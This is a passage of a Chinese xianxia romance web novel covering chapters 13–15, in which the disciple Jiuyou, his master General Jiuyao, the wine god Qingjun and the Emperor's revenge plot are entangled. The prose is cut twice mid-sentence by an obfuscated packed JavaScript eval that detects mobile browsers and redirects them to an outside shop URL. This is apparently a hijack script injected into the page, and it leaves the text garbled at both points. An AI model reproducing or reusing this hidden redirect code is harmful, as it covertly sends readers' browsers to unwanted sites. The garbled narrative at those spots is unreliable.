栖零挥起拳头,当场就给那瘦弱的望舒仙君一击重拳,这可是未来战神的第一拳,这一拳把清绝打趴下,清绝一时间竟没有爬起来,他那满是伤痕的脸上喜提新伤疤。 “厚颜无耻。”栖零留下这句话,甩袖离去。 九幽走也不是,留也不是,好在清绝没让他在那里站着只是为了看戏,有气无力的唤了一声。 “九幽,快过来扶我一下,我这回起不来了。” 九幽走过去,把清绝搀扶起来,规规矩矩喊一声,“望舒仙君。” 清绝自嘲的笑了笑,摆手,“我猜九摇将军教你的第一事就是学会如何尊重一个狼狈的人。不过九幽,你这样可和嘲讽我没两样。” “……只是望舒仙君的举动,实在是不知道该如何形容。” “你不必费脑筋的去想怎么形容,你也根本形容不出来。”清绝毫不在意的把脸上泪痕全部擦干净,仿佛什么都没发生过。 九幽沉默。 就是因为这一吻,栖零与清绝就此变成了冤家。 13. 偿还人间久久天(一) (一) 梨花再也没出现过。七日之后,是白狐告诉他,梨花已经变回鱼了。 “小仙君,不要再等了。”白狐道,“梨花已经不会回来了。” 九幽端正的朝白狐俯首作揖。 “你还是这么拘泥。”白狐语气里有些不满,但还是不由自主的朝九幽弯了身以表回礼,“我今天来,可是特意为了告诉你梨花的下落的。” 九幽有些迟钝的看向她,“仙子知道?” “我当然知道,”白狐那张精致的脸蛋只要稍微一松懈,就可以让人无端联想那些红颜命薄的美人,“梨花人形消散,帝君下令,为她建了一座白莲池。” 九幽若有所思,“听闻,鬼界的红莲池里,皆是当初风水师和鬼界生灵所汇聚而成的。” “正是为此。所有人都不明白帝君为何要这样做,这分明就是……分明就是让梨花陪葬一般!好不欺人……” 九幽把心中想法说出来,“其实我一直有一个问题,想要问仙子。” “你不必再以仙子相称,我已将你视为朋友,毕竟你是我见过的第一个梨花愿意黏上的人,你有什么不解,尽管问我。” 九幽莞尔,“我正是要问此事,为何梨花独独缠上了我?” 这一下把白狐也给问住了,她实在是说不出个所以然来,“我只知道梨花曾是风水师养的一条鱼,或许你身上有和风水师相似的地方?” “这怎敢当。”九幽一笑了之,不再为难白狐,“可否带我去看看她?” “当然,梨花肯定也想你了。” (二) 白莲池底没有一件俗物,个个都是上等,可就连一块最普通的石头都可以混在翡翠之中,被雕刻的活灵活现。 “风水师生前极爱梨花,可梨花现在却只能被困在这里。”白狐的指尖丹蔻在池子里点起波澜,那条白鲤鱼一跃而起,掀起一阵水花。 “这条鱼还真是傻的让人心疼。小仙君,当一条鱼当真可以如此的无忧无虑?” 九幽抱歉的笑了笑,却站在远处没有靠近池子,“此事……九幽当真不知。” “你我都不是鱼,当然不知道梨花的快乐从何而来。”白狐叹息,“不过还是多亏了小仙君,梨花也值了。” 当真值得?九幽没想过,九摇把自己带走时看见的梨花,竟会是最后一眼。 “白狐仙子,了事阁里的仙君,真的什么都知道吗?” “了事阁?”白狐提起自己的裙摆,坐在池边,“了事阁只是来记录的地方,若是仙君有什么遗忘了的东西,都可以去了事阁那儿找回来。” “……不能解惑吗?” 白狐忍不住一笑,“小仙君有什么疑惑可以问我,可千万不要去找了事阁里的仙君,了事阁里的三千上仙,只是个老顽固罢了。神仙的一生太长啦,有些东西记不住,所以才有了了事阁。” 九幽沉思。 “你有什么不得而解的?” “并无。” (三) 帝君今日在众神仙离去后,特意只召回了九摇。 “九摇啊,你可知今日我要同你讲何?” “知道。”九摇端正道,“鱼渊重振鬼界,随时可能攻打神域。” 帝君身体往后仰了仰,“你说的是鱼渊的意思,那我的意思,你可也知道?” 九摇犹豫几下,舔了舔莫名发干的唇瓣,“尚不得知。” 帝君半眯着眼看着座下的九摇,“你的徒儿,近几如何?” “勤学苦干,无心外事。” 帝君点头,“那么,将军,你可还记得当初留下他的目的?” 九摇不语。 “当初留他,就是为了等到现在除掉鱼渊,此时已是时机成熟之时,将军,你该不会是舍不得了吧?” 九摇依旧是一语不发。 帝君也不急,好整以暇,看样子今日是不与九摇挑明不会放他走了。 “养精蓄锐这么久,就为了等这一刻。前段时日里,风水师养的那条鱼因为灵气不足,已经变回了鱼身,风水师存在的气息已经全然消失。”帝君有了回忆的神情,“之后我就一直在想,这条鱼对风水师的意义何在,直到我感知这整个神域里,竟再无风水师气息的时候,才发觉他的用意。” 帝君嗤笑,“只要活着的人还活着,死了的又算什么?” 九摇后背倏然起了一层冷汗,“帝君,就算没有九幽,这一战,鱼渊也是必败,那为何就一定要是九幽?” “必须是他!你当真就把他当做了你的徒儿?他是谁?他哪里是九幽?他有名字,他是山暝,是当初你执意留下来的小鬼王山暝!若是当时就取了他的性命,让他痛痛快快的结束,岂会还有现在这样?只要他还活着,我就能看见我兄长的影子!” “风水师是风水师,风水师和仇池才是冤债,为何要牵连九幽?况且那时候他根本就什么都不知道!” “对啊,他什么都不知道,所以你就让他以为自己是神仙,所以你就认他做徒弟,让他毫无负担,听不见鬼界怨灵的一声嚎叫?”帝君丝毫不肯退让,“我的九摇将军,我当初确实佩服仇池,我佩服他爱子爱民,为此不惜与我开战,打了几百年了,就因为山暝,说不打就不打,你说他到底有多爱自己的儿子?” “……既然帝君知道,何苦……” “我就是因为他这般爱子如命才容不下山暝!容不下他现在的这般样子!简直和仇池一样是懦夫。风水师也是我的亲人,是我的兄长,风水师死了,那山暝也不能活!我要你在鱼渊攻上来那天带上山暝,我要他手刃血亲,尝尝失去亲人的痛苦!” 九摇浑身顿生无力,“帝君,九幽已经没什么可以失去了。他已经失去了整个鬼界,已经什么都没有了。” “不不不,”帝君不容置疑的挥手,“他什么都没失去,甚至拥有的比当初的还要多。当然,这一切都要归功于你,也正是因为你,山暝会比当初的我痛苦一千倍一万倍。” “可九幽什么都不记得了。” “当然不记得了。不然我怎能说仇池爱他如命?”帝君讥笑,“他消散了山暝在世所有的过往记忆,所见所闻皆风吹云散。所以,山暝的痛苦只会来源于你,留他可以,那我就要大战结束后,你亲自把山暝关入天牢,终不得释。” 九摇瞳孔地震,可那高高在上的帝君丝毫不用掩饰他一切的残忍。 “九摇,只要活着的人还活着,死了的又算什么呢?” (四) 九幽在去了事阁的路上遇见了正要去找帝君喝酒的青君。 “小九幽,你这是要往何处去?”青君有些意外的看着他,随后又张望了一下,发现只有他一个人,“怎么今天一个人啊?” 心下却暗喜,终于一个人了。 九幽兴致缺缺道,“青君要去何处?” 青君把他的酒提起来,有些埋怨道,“当然是去找帝君喝酒,这神域里风水师一走,就无人再陪我喝酒了,就连最懂得喝酒的清绝也不来了。” “为何?” “清绝成为那望舒殿里的仙君了,已经不是以前那个整日钻研思索情爱的小仙子了。”青君笑笑,“他现在可是望舒仙君,再也不用为自己而去思索了。” “为何?”九幽又问。 “望舒仙君是整个神域里,比了事阁还要苦的差事之一。想要成为望舒仙君,必先自己绝情弃爱,在自己身上苦恼要比在别人身上找苦恼的多。你呢,今日为何一人?平时见你不是和其他仙子在一起就是和栖零他们在一起。” 九幽微微低下头不语。 “哦——我知道了,我们的小九幽是落单了吧?没关系,我带你去玩,那我也就不去找帝君了,你不如和我一起回酿酒殿,我们一起喝酒,如何?”青君期盼的看着他。 九幽那双眼睛里黑压压的直直盯着青君,连这老神仙都忽觉周身仿若夜幕降临。 “好。”九幽回答他。 青君喜不胜收,“好啊!我们走,免得——”免得你那烦人的师尊又把你带回去,“免得你的小伙伴来找你,我可就成为落单那个了。” 九幽不经意间一笑。 (五) “我今日刚好酿的浅念,若是再晚些,恐怕就会烧起来了。快快快,给你看看我的酒。”青君把九幽拉入坐,迫不及待的拿出自己的酒,给九幽掺了一杯。 “为什么会烧起来?”九幽拿起酒杯,看着杯中和白水并没有差别的酒。 “这可是最纯最烈的酒,就是因为太纯太烈了,所以只要时间一久,就会烧起来。”青君说,“可不要小看了它,它可以燃烧任何东西。”青君指着杯中的隐隐约约的一小团火苗,指给九幽看,“你看,已经开始烧起来了。九摇教过你喝酒吗?” 九幽摇头。 “九摇果真是个老顽固,连酒都不让你喝。不过喝酒也不需要怎么教,像我一样,一口气灌下去就好,不要怕它的火苗。”说罢,青君仰头一饮而尽。 九幽看着他,并没有动。 “怎么啦,不喜欢喝酒吗?” 九幽看了一眼杯中酒,又看向他,认真的问,“喝酒有什么用吗?” 青君无限温柔的笑了笑,“当然有用。比如九幽你还不确定自己是不是已经喜欢谁的时候,喝了酒,你就能明白了。” 九幽的眉眼间隐约藏着缱绻,青君越看越中意他的模样。 九幽不再犹豫,像之前青君一样,将杯中酒一饮而尽。 青君看着,佩服道,“九摇当真是捡到宝了。” 九幽皱眉,强迫自己把酒吞了下去,如同生咽下一口辣椒,先是辣的自己唇齿间无所依,又让自己肚子里如火燎燎。 “好喝吗?” “辣。”九幽沙哑道。 “苦吗?” “……苦。”九幽犹豫之下,说。 “如何的苦?” “和师尊身上的味道一样苦……” “傻孩子。”青君无奈笑道,又问,“好喝吗?” “好喝。” 青君起身,从酒房中又拿了几壶酒出来,“要尝尝它们好喝吗?” 青君重新落座的时候,眼里已经是痴痴的模样了,“我头好晕。” “晕是正常的。”青君边倒酒边说,“九摇都不屑于喝我的酒。” “你的头不晕吗?” “我?”青君难得惭愧的笑了笑,“不晕。” “为何?”九幽都已经记不清自己到底问了多少句为何了。 “我不是给你说,这望舒仙君是整个神域里比了事阁还要苦的差事之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990890|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一吗。”青君把酒杯端起来荡漾欣赏,“那酿酒官就是之二了。” 九幽眼中含有秋波,就如同那酒水一样。 “酿酒仙官酿得一手回梦佳酒,尝不出自己的手艺,也品不出酒是何种滋味,尽管以前喝的酒,都再记不起是什么味道。”青君自顾自的说起来,“其实吧,我觉得那望舒仙君还没这酿酒官苦,望舒仙君自己没了感情尚可感受到别人的感情,可若是连酒都尝不出个滋味,连一场醉生梦死都得不到,那还有什么意义?” 九幽撑起自己沉重脑袋,“那为何你还要做酿酒仙官?” “我喜欢酒,更喜欢酿酒。所以我放弃了我对酒的感觉。”青君把酒杯递到九幽面前,“喜欢什么就失去什么,这听起来确实蠢,但我也是因为太喜欢了,所以牺牲了自己。” 九幽接过酒杯,又低头看起了杯中酒。 “你可有喜欢仙子了?”独自清醒的青君突然不怀好意的笑笑,“以前见你与一个小仙子来往,现在可有结果?” 九幽目光呆滞,像刚才那样把酒一饮而尽。 “你也不能总像这样饮酒啊,只要借酒消愁的人才会这样。” “那仙子叫梨花,已经消失了。” 青君一愣,还是不由自主的给九幽倒酒,近来他并没有看见哪位仙子的明灯灭,“梨花啊,倒是和以前风水师养的那条鱼一个名儿,不过她怎么消失了?” “就是风水师的鱼。” 青君更是怔住了,“风水师的鱼怎么找到你了?”青君记得,风水师走后,就没人打理那条鱼了。 “我也不知道。”九幽摇头,更像是委屈巴巴的诉苦,对青君道,“她还总是亲我。” 正打算喝酒的青君,还没喝下去就先被呛咳一下,听九幽这语气,还是忍不住笑了,“她如何亲你?” 九幽眼里无闪无躲,脸侧却因为喝酒而泛起绯红,让人看了想伸手去揉,嫩的仿佛能掐出水了。 “她踮起脚尖,围着我周围打转,就和鱼在水里游一样,然后就总会趁我不注意亲我。” 青君轻声细语,脸上有了回忆的神情,“可能梨花把你当做是风水师了,我找风水师喝酒之时,梨花也总围着他转。” 九幽皱眉,脸上有了不高兴的神情。 青君以为是因为梨花把他错认了而不高兴,耐心道,“梨花是不会认错人的,她若非不是因为喜欢,又怎会一直在你身边?” 可九幽依旧不高兴,青君只好先排除这个原因,“梨花的消散是早晚的事,只不过是变回鱼而已,等你以后有了足够的灵力了,依旧可以把她变回来。” “青君。”九幽突然无比认真的看着青君,尽管他眼里依旧是因为醉酒而飘忽。 “怎么了?” “能不能……” “嗯?”九幽这样一犹豫,反而勾起了青君的兴趣,把酒杯放下。 “能不能把你送给师尊的酿酒花还给你?” “……那花不好吗?” 九幽摇头,“不好,当然不好。” “哪里不好了?”青君看待九幽是以一个长辈看撒泼孩子的样子。 “有了它,师尊就不要我了。” “还有这等好事?”青君一下子嘴快。 “唔?” “不是,我是说,还有这种事?为何九摇不要你了?” “师尊已经许久没理我了,我知道有时候师尊会很忙,可从未像现在这样。偌大的殿内,除了我就只有那酿酒花和他说话了,一定是我在被关禁闭的时候他一直和酿酒花一起,所以连看也没来看过我。” 青君神色有些一言难尽,“那你又是为何被关禁闭,犯什么错了,九摇舍得把你关起来?” “那日他看见我和梨花在一起,就把我带了回去。” “……”青君往后仰,似乎是明白了什么,“那你今日一人,是要去何处?” 青君这样一说,刚好把九幽点醒,他噌的一下站起来,却因为后力又重重摔了回来,青君赶紧上前抓住他。 “你瞧你这傻模样,九摇为何还不嫌弃你,将你送给我?”青君叨叨,“要是这磕着碰着了,怎叫人不心疼你这张脸。” “什么地方,现在就要去?” “三千,了事阁。” “去那里干什么?忘记什么了?” “……”九幽有些难受的弯下腰,“想要知道梨花对于风水师的回忆。” “你当真喜欢那条鱼了?来,快坐好听我说。那了事阁里,只能看自己的过往,你这样去了也是徒劳。” “那我就看看自己,哪里出现问题了,让师尊嫌我。” 青君仔细的看着九幽的面庞,哄道,“我明日亲自登门将军府中要回酿酒花好不好?你就不用去了事阁这一趟了,你师尊若是真的因为酿酒花才嫌你的,那我就拿回来,好不好?这样你师尊就只有你了。” “……真的?” “当然是真的,我明日一早就去,你看你这醉的,快睡会儿,等你睡醒了,你师尊说不定就来接你了。” 九幽一听,果然就老实了,盯着桌延许久,最后昏昏沉沉的睡去,等待自己醒来能看见他心心念念的九摇。 “等我把酿酒花要回来,你也经常来我这儿,好不好?”青君对已经睡着了的九幽说。 14. 偿还人间久久天(二) (一) 青君翻箱倒柜的才好不容易找出一条勉强能盖的薄被,像个不省心的老父亲一样小心翼翼的给九幽盖上。 他在一旁站了会儿,想了想,还是坐在了九幽身旁,看着他的睡颜,小声的说,“你那成天只知道打打杀杀的师尊,可有我这般待你细心?” 随后他叹息,“你说你要是我徒弟该多好,不仅有喝不完的酒,还有那些花花草草陪你聊天,哪有你在将军府里的孤寂,以至于跑到我这儿来借酒消愁?” 青君伸手将九幽侧脸的青丝挽到耳后,这张精致的脸蛋在睡中也没有松懈自己眉头,忧郁的模样倒叫人多生几分怜爱。 “师尊……”九幽糯糯道。 (二) 半个时辰后,九摇怒发冲冠的到达酿酒殿,自己还没发怒,反倒是青君抢先了他一步。 “你说你怎么带徒弟的?你要是实在不想要了,就给我,我来养着,肯定要比你百倍千倍的好。”青君戳着九摇的心口道,“你把九幽都逼的都到我这儿来借酒消愁了,你这个师尊当的到底有多失败?平时陪他说说话又怎么了,偏要把人晾着,是我我都觉得难受!” 九摇被这一来就劈头盖脸的一顿弄的傻站了一会儿,反应过来后,抓住青君的衣领,“你给他酒喝?” “多大了连个酒都不让人喝?我知道,我这个文官说不了你这个武将,要是因为鬼界的事你无暇顾及,可我闲啊,我整日没事做,就缺个人陪着,你让九幽呆在我这儿,谁也亏不了。” 九摇想都没想一下,毫不客气的对青君道,“痴心妄想。你要是觉得孤寂,自己去找个人陪着。九幽我带回去了。” 九摇把青君盖在九幽身上的薄被掀开,轻轻抱起九幽。 青君在一旁看着,像是说凉话一般,“你就这样抱着出去了?你真当九幽还是那个只能够到你腰间的小仙童了。我看的明白,别人可就不会像我这般善解人意了。大将军,是谁在痴心妄想?” 青君这一番话倒是把九摇点醒。 青君见九摇的模样,终究还是不忍,“拿壶酒回去喝吧,我也就是说说你而已,毕竟你清醒了大半辈子了,偶尔糊涂一回,也没人怪你。谁会怪神域里的骁勇大将军呢,嗯?” 九摇嘴唇微抿。 “今日九幽嚷着要去了事阁,我知道那地方,不管去不去都没什么好事,你好好看着自己徒儿吧。” 九摇看着那壶酒,终究还是没带走,背着九幽一步步的离开了酿酒殿。 (三) 似乎是闻到了九摇身上令人皱眉的苦香,九幽那紧蹙的眉头却出奇的放松了,趴在九摇身上变得格外的心安。 九幽抓紧了九摇的衣领,像是抓住了最后的救命稻草。 他们一个个都敬仰着口中骁勇善战的大将军,却是没有一个人敢像九幽这样贴近过。因为大将军身上的苦味来自于杀伐的血腥,不仅让人闻着苦,就连靠的太近的人,也会染上这苦。 九幽从不在意他身上的味道。 他们回到将军府中,九摇把九幽放在了榻上,仔细的掖好被子之后,久久的伫立在了原地。 他看着九幽熟睡的面庞,艰涩的轻唤了一声,“九幽。” 他知道自己现在应该离开了,可内心的挣扎与隐忍乱作一团,包括那不知从何而来的羞愧,在他身体里乱跳。 我的九幽啊,害得我心好苦。 九摇紧握双手,颤抖起来,试图想要抓回自己仅剩的最后一点理智,可是他怎么也控制不住,就像青君说的那样,他为何要一直那样清醒的活着? 所以他俯下了身,贴近了九幽的双唇。 这可和九幽小时的感觉不一样。小时怎样亲都可以,软糯的双唇香甜如蜜,怎么现在却别有了一番薄凉的滋味了。 九摇站直身,双耳爬上绯红,他想要马上逃离。 “师尊。” (四) 九幽准确的抓住了九摇的衣袖,而九摇却是连回头也不敢。 九摇浑身冰凉,喉结滚动,内心的苦涩开始无限蔓延。 “师尊为何不肯回头看我?”九幽难受道,“清绝与栖零也是,自从清绝亲了栖零,他们到现在还未再说一句话——师尊也是吗?师尊打算以后也不再和我说话了吗?” 九摇不忍,他最不忍的就是九幽这受了委屈的声音。 九摇回头,看着眼神清澈的九幽。他眼里不染世俗,从不浸黑潭,当真是一位干净的神明。 “你今日怎么跑去青君那儿喝酒了?”九摇只好以这样的逃避来问他。 “那师尊又为何总是不回家?”九幽反问他。 九摇一噎,“我……有吗?” 九幽拽他更紧了,难过道,“难道师尊一直都不知道吗?师尊没有发觉有多久没和我说话了吗?” “鬼界战事随时都可能触发,所以我——” 九幽支撑着坐起身,“是他们口中的鱼渊吗?” 九摇一愣,“嗯。”他怎么可能不知道,尽管自己把九幽保护的再好,都比不过众人口中的闲言碎语,“青君告诉我,你今日想要去了事阁?” 九摇只要一想,九幽今日若真是去了了事阁,他该怎么办? “师尊,徒儿总感觉自己忘记了什么。”九幽因为喝醉而眼底泛红,“所以才会想要去了事阁,想要找回那段记忆。” 九摇心惊,连声音都不易察觉的颤抖了一下,“可是重要之事?” 九幽贪婪的看着九摇的面庞,点头,“很重要。” 九摇并没有注意到九幽此刻肆无忌惮的目光,而是选择坐到了九幽身边,语重心长道,“忘记了没关系,也没有必要一定要去了事阁,既然是重要的事,总会想起来的。”但此刻,九摇心中却呐喊的是,永远不要想起来。 虽说帝君告诉他,仇池当初是以消散来取走了九幽的记忆,可他还是怕,怕的不行。 九幽愁眉苦脸道,“可师尊,这感觉太难受了。” “难受就不要想。只要你不去想它,就不难受了。”九摇下意识习惯的把九幽揽入怀中,等反应过来的时候,这抱也不是,不抱也不是。 而九幽得逞似的就抱住了九摇的腰,把头埋在九摇的脖颈间,“师尊这样抱着徒儿,徒儿就不会想了。” 九摇干巴巴的笑了几下,手心僵硬的拍了拍九幽的后背,发觉自己已经不能再像小时候那样对九幽了。 九幽贴近九摇的耳朵,温热的气息如电流钻进九摇耳朵里,瞬间感觉浑身酥麻,“如果师尊再亲我一下,我以后都不会再想了。” 九摇如被针扎的起开,九摇差点摔下床。 “等你酒醒了我再来看你。”九摇心慌意乱,现在只剩下离开的念头。 “若师尊真是看我看厌了,觉得我在身边腻了,想赶我走,随时可以把我扔出将军府。只要是师尊不要我了,我也绝对不会再回来缠着师尊了。”九幽冰冰凉对九摇说。 “胡闹!简直是荒唐。九幽,你看看你现在的样子,喝酒把自己喝成这个样子,真是什么话都能说出口了,你要是再敢去找青君鬼混,就关禁闭关到你什么时候不会再去为止。” “你就只知道把我关起来,关起来干什么?眼不见心不烦吗?师尊,我知道你是将军,要上阵打仗,可你就不能偶尔想起一下我吗?”九幽支撑起自己的身体,一转刚才的态度,眼巴巴的望着,哭唧唧的喊着九摇,“师尊,别让我一个人。” “九幽,”九摇的手抬起又放下,“想要成长,就是得先学会如何一个人。” 九幽把头低的他看不见,他于心不忍,却选择视而不见。 (五) 九幽第二天醒来,睁着眼睛一动不动的躺在榻上。而最先开始有反应的时候,是动了一下自己的指尖,又是抬起了自己的手臂,最后才是腿。 从房间里出去,偌大的殿中,只有他一人和那株酿酒花。他和以往一样,给它浇了足以溢出盆来的水。 神域里,除了那天生只会种花的花神,哪位神仙种的花越多,就越孤寂,而青君,只是除了不能品酒,九幽实在是没有看出他活的哪里不快活。 他眼里的幽光晦明晦暗,站在原地伫立了良久,最终以一个极其优雅的姿态推翻了酿酒花。 (六) “小仙君,可是许久没人来我这了事阁了。”九幽看着满身书卷缠身忙碌的人,“小仙君名叫什么,忘记什么了?” “九幽。” 三千停下了手中的事,蹭出个脑袋来,只为专门看一眼九幽。 九幽与三千四目相对许久,摸了摸自己的鼻子,总觉得哪里不对,却还是中规中矩的叫了一声,“三千上仙。” “小仙君客气了。”三千依旧看着他,“你就是九摇的徒弟了吧。” “……是的。”九幽受不了他狐疑的打量,后退了一步。 “这样啊。那你是忘记什么事了吗?” “并非。我今日来找三千上仙,不是为了自己。” 三千一笑,“来我这里的人,可不能是为了别人。”把手中书卷放下,“两个时辰前,九摇来访,也和你一样是这么说的。” “师尊来过了?”九幽声音都提高了几分。 “对啊。”三千依旧在笑,“还说什么如果你来了,要对你保密什么的,不过我要是这能保密,岂不是愧对于了事阁阁主这名号了?” “……” “你现在所经历的一切,我都记录在册,每个人都有知晓和记起前尘的权利,到我这儿的人,每个人都有属于自己的权利,我都会一视同仁的。所以九幽仙君,你在我这里,可以知道你想要记起的全部。” 九幽却犹豫了,“会有后果吗?” “那些都是属于你自己的回忆,何来后果之说?只是看你愿不愿意。” “我并没有忘记什么。” “哦?”三千扬眉。 “——我只是想来问一下,只能知道自己的吗?” “在我这儿,绝不能窥探别人的回忆。”三千的神情严肃了几分,“这便是我的原则了,所以小仙君不管想知道谁的回忆,是还活着的还是已经逝去的,都不可以。” 九幽的神情看不出什么端倪,只是道过谢后就离开了。 三千却拿起了自己刚才翻翻找找出来的书卷,看着上面的名字——那你以为,这算是他自己的还是别人的? 当然是别人。九摇斩钉截铁的回答他。 可他们是同一个人,连身体都没有换过。他们从始至终都是一个人。 天下事,天下人说的算。谁都知道,鬼界一战,小鬼王失踪,谁不是当他死了? 九摇,你明知此事瞒不过,却还要执迷不悟,到底何故至此? 九幽不能就因为这个身份而误其一生,他凭什么背负自己没有做过的事? 那谁又回来替代他呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990891|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九摇一愣,为何要替代?九幽就只是九幽,鬼界恩怨已经是上辈子的事情,他还需要替代吗? 谁来替代他承受的因果?若无他,帝君连恨谁都不知道,风水师的鱼也不会闻到他身上的味道找到他而圆满,包括常盛和青君,无战无败,无念,则不死。九幽在这里的位置是无可替代的。 他现在是我的徒弟,他只是九幽—— 对啊,九摇。三千打断他的话语,你已经如此笃定了,又何须再怕? 何须再怕?他就怕自己带上九幽会被鱼渊认出来,可认出来又会如何,当初仇池已经消散了九幽的记忆,九幽会信鱼渊的将死之言吗? 何须再怕。 (七) 战事将近,九摇早出晚归,九幽已经一月有余没见过他了。 这一月里,他算准了时辰,虽不知道九摇是何时出门,又是何时回来的,但他知道了九摇在哪段时间里是一定不会回来的。 他和青君鬼混在一起了。九摇不管他,他就整日醉倒在花圃园中,摧残着那些酿酒花,让那些娇贵的花儿整日叫苦。 “我要给青君告状!青君,九幽快把我压断了!” “我的花瓣,我的花瓣掉啦!我要秃了!” “别抓我,我还要酿酒,不想死!” “你这恶毒的仙子,等哪日你师尊寻来,我要给你师尊告你!” 九幽睁开朦胧的眼,看着那株花,“你要朝谁告我?” 那花花枝一颤,却还是挺直花身,“我我我要朝你师尊告你。” 九幽一笑,浑身上下都散发着邪气,“那你还不如找青君呢,他已经不要我了。”然后呈大字型一躺,花园里的花更是苦不堪言。 (八) 今日好不容易下朝早的九摇想要回去给九幽一个惊喜,还特意去天街处买了和人间一样的蜜糖。 他脚下生风的回到大殿里,预习九幽看见他时的喜出望外,却在殿内寻了一圈后,没找到九幽的身影,并且现在才看见已经在地上摔的七零八落的酿酒花。 九摇的第一反应就是应该和栖零在一起,所以他下一个去的地方就是去找常盛问得栖零的下落。 他到的时候,栖零正练习兵法,而常盛则在长椅上看着兵书。 “什么事还能把你吹来?”常盛放下书,一见他这急匆匆的神情,刚开始的好心情又落下去了,“怎么,你的宝贝徒儿又丢了?” 九摇一听常盛的语气,就知道九幽不在这儿,却还是寄希望的看向了栖零。 栖零放下剑看着九摇,“九摇将军,实不相瞒,我也不知九幽在何处,我已经与他许久未见了,经常去九罗将军府也找不到他。” 常盛瞪他一眼,“你经常去?” 栖零自觉噤声,继续挥舞起他的剑。 “两条腿长他身上,既然那么害怕跑了,把腿打断不就好了?还劳烦你这贵人亲自来我这儿一趟。” 栖零抿嘴,默默地练习兵法。 “多些常盛将军的提议,九摇会采纳的。告辞。” 九摇离开,常盛重新拿起兵书。等人走后,冷声冷气道,“捡来的徒弟还真当成是宝了,辛辛苦苦拉扯大,还不是没改掉本性,带着一身的戾气把神域弄的乌烟瘴气。” 栖零一听,想帮自己的朋友辩驳几句,可常盛适当的瞪了他一眼,他也只好闭嘴。 “把手抬高!分什么心。你要是再敢去找他,我保不准也会把你的腿打断。” “…… (九) 九摇也去了望舒殿,可清绝正被红线缠身绕的头疼,连他的问话都忙的断断续续的无暇顾,眼下,就只有他最不愿想的地方了。 他站在酿酒殿外,只是走到了中殿,就听见了酿酒花甜脆脆的声音。 “哟,九摇,你来啦?”青君提着壶酒,有些意外的看着九摇,“今日下朝早,是来找我喝酒的吗?” 九摇压抑自己的怒火,冷哼一声,“喝酒?” 青君察觉到九摇的心情不佳,也大概知道其中原因,只好循循善诱道,“你啊,就是不喜欢喝酒,所以才会那么愁,有时候真要试一试才会知道……” 砰! 青君的酒被打翻在地。 “愁?你自己过的快活了,当真以为所有人都会和你一样恣意?你要身入混沌之中,那是你的事,你自己去做就好了,为什么一定要拉上九幽。他和你待在一起,除了喝酒就只能种花,你为什么偏要毁了他,毁了我的徒弟?你若真是为了他好,根本就不可能这样放纵他,让他整日在梦里醉里,连这天是什么时候了都分不清了!”九摇实在是气不过,怎么想都是青君的错,为什么一定要是九幽?为什么祸害的就一定要是我的徒弟? 青君在原地呆愣了许久,看着满地的碎片,喉间有些苦涩,“九摇,你就是太怕他引人注目了,你这是关心则乱。从一开始你给我的感觉就是,巴不得所有人都不知道九幽,就把他关在殿里自己一个人看着就好,你这样太自私了。” “自私?你说我这个叫自私,那你告诉我,什么才叫做不自私?我要是再自私一点,我就恨不得九幽是我一个人的,谁也不知道,谁也不会再和我抢,特别是你,青君。” 地上的碎片捡起来也拼不回去了,酒洒了就再也酿不出这样的酒了。 “没想到我也会有被大将军这样仇视的时候。”青君有苦说不出,“把你的九幽带回去吧。” 15. 偿还人间久久天(三) (一) 九幽在醉梦中被唤醒了,睁开眼时,九摇就站在他眼前。 这是他梦不到的情景,所以,一定是真的了吧。 既然是真的,那就算了。 九摇见九幽明明已经醒了,却又闭上了眼摆明的要将他无视,这算什么?在和他赌气吗? “九幽,起来。” 九幽不反应。那些被九幽欺负的扬言要朝九摇告状的酿酒花们,现在也已经一个个缩起来不敢出来了。 “你要这样到何时?在这里烂醉如泥,成何体统。” 青君在一旁一遍默默地看着这师徒俩互相赌着气,一遍默默地心疼着自己的酿酒花。 九幽索性坐起身,默默地挪到更远的地方,“将军是大忙人,怎么也来酿酒殿消愁了?将军有什么可愁的,是鱼渊马上就要攻打上来了吗?” 九摇半眯起眼,“你唤我什么?” “将军。”九幽面不改色,这张祸祸人的小脸蛋上写满了桀骜,没有丝毫悔意,“将军诸事缠身,就不要在此浪费时间了,神域的太平日子都是将军打下来的,多少双期盼的眼睛看着将军,将军就在这儿消耗了好不容易的清闲时光,不会觉得可惜吗?” “九幽,这是你该对我说的话吗?” 青君已经嗅到了不妙的气息,但是直觉告诉他,还是最好不要插足他们师徒二人的事。 “将军这是无聊了,想找个人陪着说说话了,大殿里的那株酿酒花不就正好吗?” “它已经被摔碎了。” 青君:“?” 青君一拍自己的脑门儿,恨这记性,竟然可以把这事儿给忘了,惹得九幽最后竟然把酿酒花砸了,要知道,那可是算得上珍贵的浅念。 九幽稍作沉思,“这样啊,那可惜了,它碎了就没有人同将军说话了。” “你现在跟我回去。”九摇抓起九幽的手腕就要将他带回去。 “我不回去。” “你说什么?”九摇目露凶光,他甚至还有些不敢相信,这是九幽会对他说的话吗?为什么会变成这样,明明一切都好好的,什么也没发生,为什么反倒是会变成这样了? 而对于多年征战讨伐的九摇来说,好好的,就只是好好的活着罢了。 “你不回去,我还呆在那里干什么?” “我现在不是来接你回去了吗?” “那是因为你终于想起我了,还是发现本该在原地呆着的我不见了来找我了?将军,你是觉得大殿里少了个摆设,又冷清了,不好看了吗?” 